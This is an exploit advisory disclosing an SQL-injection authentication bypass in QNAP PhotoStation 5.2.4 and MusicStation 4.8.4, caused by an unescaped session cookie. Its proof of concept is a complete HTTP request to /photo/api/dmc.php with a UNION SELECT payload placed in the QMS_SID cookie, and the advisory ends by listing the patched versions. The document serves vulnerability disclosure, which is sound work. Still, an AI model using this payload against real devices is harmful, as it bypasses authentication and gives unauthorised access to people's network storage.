# Exploit QNAP PhotoStation 5.2.4 and MusicStation 4.8.4 Authentication Bypass # Date: 10.05.2017 # Software Link: https://www.qnap.com # Exploit Author: Kacper Szurek # Contact: https://twitter.com/KacperSzurek # Website: https://security.szurek.pl/ # Category: web 1. Description `$_COOKIE[STATIONSID]` is not escaped and then used inside SQL statement. https://security.szurek.pl/qnap-photostation-524-musicstation-484-authentication-bypass.html 2. Proof of Concept GET /photo/api/dmc.php HTTP/1.1 Host: qnap.host:8080 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4 Cookie: QMS_SID=' UNION SELECT 9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999,9999999999 -- a Connection: close 3. Fix Upgrade to version: Photo Station (5.3.4 / 5.2.5), Music Station (5.0.4 / 4.8.5)